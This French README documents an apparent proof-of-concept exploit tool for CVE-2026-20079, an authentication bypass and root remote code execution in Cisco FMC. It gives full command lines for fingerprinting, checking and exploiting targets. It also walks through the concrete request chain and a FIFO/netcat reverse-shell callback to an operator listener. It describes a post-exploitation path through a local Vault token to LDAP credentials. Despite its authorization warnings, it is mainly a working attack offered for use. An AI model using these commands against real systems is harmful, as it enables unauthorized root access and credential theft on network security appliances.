## Remplacer les adresses d'exemple

Toutes les valeurs `192.0.2.x` ci-dessous sont des adresses de documentation réservées. Elles sont
des espaces réservés, pas des informations de cible découvertes, et doivent être remplacées par
des valeurs issues de l'évaluation autorisée. Les commandes ne sont pas censées fonctionner
sans modification.

| Exemple | Signification | Ce qu'il faut utiliser à la place |
| --- | --- | --- |
| `https://192.0.2.10` | URL de la cible FMC | Le schéma, l'adresse et le port FMC exacts autorisés |
| `192.0.2.20` | Adresse à laquelle le FMC se connecte en retour | L'adresse IP ou le nom DNS de l'écouteur de l'opérateur **tel qu'il est joignable depuis le FMC** |
| `192.0.2.0/24` | Exemple de CIDR d'empreinte | Une plage réseau explicitement autorisée |
| `4444` | Port TCP de rappel/écoute | Un port joignable approuvé sur le système de rappel |
| `0.0.0.0` | Interface sur laquelle l'écouteur se lie sur le système de l'opérateur | Conservez-le pour écouter sur toutes les interfaces locales, ou utilisez l'adresse d'une interface locale |
| `192.0.2.10` dans `--expected-callback-source` | Source attendue du rappel | L'adresse source du FMC telle qu'observée par l'écouteur ; omettez cette option lorsque le NAT la rend incertaine |
| `http://127.0.0.1:8080` | Proxy intercepteur local facultatif | L'URL du proxy réellement à l'écoute sur le système de l'opérateur |

### Choisir `--callback-host`

Utilisez cette règle : **du point de vue du FMC, quelle adresse atteint l'écouteur de l'opérateur ?** Cette adresse est `--callback-host`.

| Chemin réseau | Valeur typique de `--callback-host` |
| --- | --- |
| L'opérateur et le FMC sont sur le même réseau routé | L'adresse LAN joignable du système de l'opérateur (`eth0`, `en0`, ou autre) |
| L'opérateur atteint le FMC via un VPN | L'adresse d'interface VPN joignable, comme `tun0` ou `utun`, lorsque le FMC a une route vers celle-ci |
| L'opérateur est derrière un NAT ou un pare-feu | L'IP publique ou le nom DNS dont le port sélectionné est redirigé vers le système de l'opérateur |
| Un tunnel de rappel ou un VPS est utilisé | L'adresse joignable du point de terminaison du tunnel ou du VPS |

N'utilisez pas `127.0.0.1` ni `0.0.0.0` pour `--callback-host`. `127.0.0.1` ferait référence au FMC lui-même, tandis que `0.0.0.0` est une valeur de liaison d'écouteur, pas une destination. Assurez-vous que le routage, les règles de pare-feu et toute redirection de port permettent au FMC d'atteindre `--callback-host` sur `--callback-port`.

`--listen-host` est uniquement local : il sélectionne l'interface sur laquelle l'écouteur intégré attend. Sa valeur par défaut, `0.0.0.0`, écoute sur toutes les interfaces locales. Il n'indique pas au FMC où se connecter. Par conséquent, `--callback-host` et `--listen-host` peuvent être différents, en particulier à travers un NAT.

### Exemple concret : opérateur et FMC sur le même réseau

Supposons ce laboratoire fictif, réservé à la documentation :```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

Le flux est le suivant : l'opérateur envoie des requêtes HTTPS vers `192.0.2.10`, puis le FMC se connecte en retour à l'adresse `192.0.2.20:4444` de l'opérateur. Lors d'une évaluation réelle, remplacez les deux adresses IP et confirmez la route de retour avant d'exécuter la commande. Si le FMC ne peut pas atteindre l'adresse `eth0` de l'opérateur, utilisez à la place l'adresse VPN, NAT, tunnel ou VPS joignable décrite ci-dessus.

## Modes et référence rapide des commandes

| Mode | Effet réseau ou sur la cible | Ce que le succès établit |
| --- | --- | --- |
| `--fingerprint` | Requêtes GET uniquement | Une surface web FMC possible ; pas une confirmation de vulnérabilité |
| `--check` | Met à niveau l'état de session côté serveur | Contournement de l'authentification et accès à un jeton d'action |
| `--proof` | Écrit et exécute une charge utile de rappel limitée | Exécution root et nettoyage, sans shell interactif |
| `--exploit` | Écrit et exécute une charge utile FIFO/netcat | Un rappel root interactif, ou une vérification limitée avec `--auto-verify` |

Définissez les trois valeurs d'exemple une seule fois, en remplaçant chacune par la cible autorisée, l'adresse de rappel de l'opérateur et le port :```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

> [!IMPORTANT]
> La prise d'empreinte est une étape heuristique d'identification de produit, pas un
> contrôle de vulnérabilité. `MATCH` et `LIKELY` ne prouvent pas que la cible est affectée ou
> exploitable, et `NO_MATCH` n'exclut pas FMC. Les proxys inverses, les pages
> de connexion personnalisées, les contrôles d'accès, les pannes réseau ou les changements de produit peuvent affecter
> le résultat.

La prise d'empreinte envoie des requêtes réseau mais n'exécute pas la chaîne de
contournement d'authentification ou de RCE. Lisez les détails de classification, les descriptions des modes et
l'avertissement sur l'état de session ci-dessous avant d'utiliser `--check`, `--proof` ou `--exploit`.

> [!WARNING]
> N'exécutez pas `--check`, `--proof` ou `--exploit` sans autorisation écrite
> explicite couvrant les modifications de la cible et la méthode de preuve. Lisez
> d'abord les prérequis, la limitation de l'état de session et les exigences de callback.

## Comment fonctionne la chaîne d'exploitation

La chaîne active fournit `CGISESSID=csm_processes` à `/login.cgi?logon=Continue`, utilise l'identifiant machine publié `report:snortrules`, extrait `sf_action_id` de `/ui/user/general`, écrit un script au format Makeself via `validateLicense`, et le déclenche via `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## Prérequis important

Une version logicielle affectée n'est pas toujours exploitable au moment du test. La session `csm_processes` créée au démarrage doit encore exister. L'activité normale de l'interface authentifiée et le nettoyage de session peuvent la supprimer. Ne redémarrez pas un FMC de production uniquement pour satisfaire ce prérequis.

## Limitation de l'état de session

Les modes `--check`, `--proof` et `--exploit` mettent à niveau la session `csm_processes` côté serveur. La PoC ne tente pas de restaurer cette session à son état partiel d'origine, car aucune opération de rétrogradation documentée par le fournisseur n'est disponible. Effacer un cookie client n'annulerait pas la modification côté serveur, tandis que se déconnecter, forcer l'expiration ou supprimer l'entrée de la base de données détruirait la session au lieu de la restaurer et pourrait interférer avec la validation ultérieure ou le comportement de l'appliance. Les fonctions de nettoyage automatique ne suppriment que les fichiers RCE temporaires ; elles ne prétendent pas restaurer l'état de la session. `--fingerprint` n'utilise pas et ne modifie pas cette session.

## Prérequis d'exécution de la cible

Les deux payloads de callback nécessitent :

- Un `/bin/sh` compatible de type POSIX.
- `rm` et `command`.
- L'un de `nc`, `netcat` ou `ncat` disponible via le `PATH` d'exécution de la cible.
- Connectivité TCP sortante de FMC vers l'adresse et le port de callback fournis.

Le payload interactif `--exploit` nécessite en outre `mkfifo`. Le payload à usage unique `--proof` ne crée pas de FIFO ni de shell interactif.

Le payload vérifie les trois noms de commandes netcat pris en charge avant de tenter son callback. Si aucun n'est présent, il se termine via ses traps de nettoyage. Comme l'erreur se produit dans le chemin d'exécution aveugle côté serveur, le testeur constate l'absence de callback plutôt qu'un message d'erreur distant détaillé.

`--auto-verify` utilise la bibliothèque socket de Python et ne nécessite pas de netcat local
installation. Le mode d'écoute manuelle peut utiliser `nc`, `ncat`, `socat` ou un autre
récepteur TCP choisi par l'opérateur.

## Prise d'empreinte FMC en GET uniquement

Prenez l'empreinte d'une URL :```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

Prendre l'empreinte d'une plage réseau explicitement autorisée :```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

Le succès nécessite à la fois la mise à niveau de session HTTP 302 attendue et une réponse 200 contenant un `sf_action_id` spécifique à la session.

Le PoC conserve le jeton d'action complet en mémoire pour la chaîne de requêtes, mais n'affiche qu'une empreinte raccourcie. Traitez les corps de réponse bruts contenant le jeton complet comme des preuves de session sensibles et ne les publiez pas.

Après une vérification réussie, la session côté serveur reste mise à niveau. L'outil le signale explicitement et ne tente pas de restauration non documentée.

## Preuve de root en une seule fois

Utilisez ceci lorsque la preuve d'exécution en tant que root est requise, mais qu'un shell interactif n'est pas nécessaire :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Exécutez une seule commande d'écoute adaptée au système de callback, pas les deux.

Ensuite, exécutez :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Le PoC affiche le chemin exact du FIFO temporaire. Supprimez uniquement ces deux artefacts d'exploit connus du shell FMC :```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

`--auto-verify` n'effectue via le callback que les actions suivantes :

1. Exécute `id` et exige `uid=0(root)`.
2. Collecte `hostname -f` et le nom du répertoire de build FMC.
3. Supprime le FIFO aléatoire exact créé par cette exécution ainsi que `/var/tmp/license.tmp`.
4. Vérifie que les deux chemins sont absents.
5. Quitte le callback.

La charge utile générée supprime également `/var/tmp/license.tmp` dès le début de l'exécution et installe des gestionnaires de nettoyage de sortie de shell/signaux pour les deux chemins temporaires. La vérification automatique effectue et vérifie toujours un nettoyage explicite indépendant. Si une écriture est tentée mais que le callback ou la preuve de nettoyage est incomplet, le PoC se termine avec un code non nul et affiche les deux chemins exacts pouvant nécessiter une revue manuelle autorisée.

Si l'adresse du callback diffère de l'adresse de liaison locale, spécifiez cette dernière séparément :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

L'absence de callback ne permet pas de distinguer entre une cible corrigée, une session de démarrage manquante, un trafic sortant bloqué, une implémentation netcat côté cible indisponible/incompatible, ou une autre erreur d'exécution.

L'énumération automatique de Vault, l'extraction d'identifiants, la persistance et le déplacement latéral sont volontairement exclus. Ces activités ne sont pas nécessaires pour prouver CVE-2026-20079 et dépendent de l'autorisation et de la configuration propres à l'environnement.

## Pourquoi le PoC utilise FIFO/netcat

La première reproduction manuelle utilisait un callback Bash `/dev/tcp`. Les deux étapes d'exploitation HTTP ont renvoyé leurs réponses attendues, mais aucune connexion n'est arrivée. Cela a démontré pourquoi le statut HTTP seul ne constitue pas une preuve d'exécution et pourquoi les fonctionnalités de callback spécifiques au shell ne doivent pas être supposées sur un appliance.

La nouvelle tentative réussie a utilisé le modèle de compatibilité FIFO/netcat documenté dans la recherche publique. Ce PoC va donc directement à ce modèle éprouvé et ne réessaie délibérément pas la méthode `/dev/tcp` qui a échoué. Il vérifie la présence de `nc`, `netcat` ou `ncat`, exige un callback réel et `uid=0(root)` en mode automatique, et renvoie un code non nul lorsque la preuve du callback ou du nettoyage manque. Il ne peut pas déterminer la raison exacte d'un échec de callback aveugle, il rapporte donc les prérequis plausibles d'exécution et de réseau plutôt que de prétendre que la cible est corrigée.

## Portée post-exploitation

Ce dépôt automatise la CVE depuis un état non authentifié jusqu'à un callback root vérifié et un nettoyage. Il n'automatise **pas** la collecte d'identifiants, l'export de secrets ou le déplacement latéral.

Lors d'une évaluation autorisée, le shell root obtenu a exposé un service HashiCorp Vault s'exécutant localement sur la FMC. Un jeton client Vault local à l'appliance a permis d'accéder à un enregistrement d'identifiants LDAP configuré, et cet identifiant a ensuite complété un bind LDAPS autorisé. Il s'agit d'un chemin de post-exploitation observé dans un environnement, et non d'une propriété universelle ou d'un prérequis de CVE-2026-20079.

Voir [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) pour l'histoire de recherche à la première personne : le contexte public, le processus d'exploitation manuel, le callback échoué, la charge utile de compatibilité réussie, le chemin de post-exploitation observé, les leçons apprises et le développement éventuel de cet outil.

## Proxy optionnel

Pour observer les requêtes dans un proxy d'interception :```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

## Références

- [Avis Cisco](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Analyse technique de VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Mentions légales

N'utilisez ce script que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Cette preuve de concept peut modifier l'état de session côté serveur et exécuter des commandes
en tant que root. Vous êtes responsable de l'obtention de l'autorisation, de la définition d'un
périmètre sûr et d'une limite de validation, de la protection des preuves collectées et du respect des
lois, contrats et règles du fournisseur ou du programme applicables. L'auteur et
les contributeurs n'autorisent pas l'accès illégal, la perturbation ou la collecte de données.

Le logiciel est fourni « tel quel », sans garantie, et les auteurs et
détenteurs des droits d'auteur déclinent toute responsabilité dans la mesure maximale permise par la loi.
Consultez la [licence MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) pour les conditions complètes. Cette notice d'utilisation ne
modifie ni ne restreint la licence.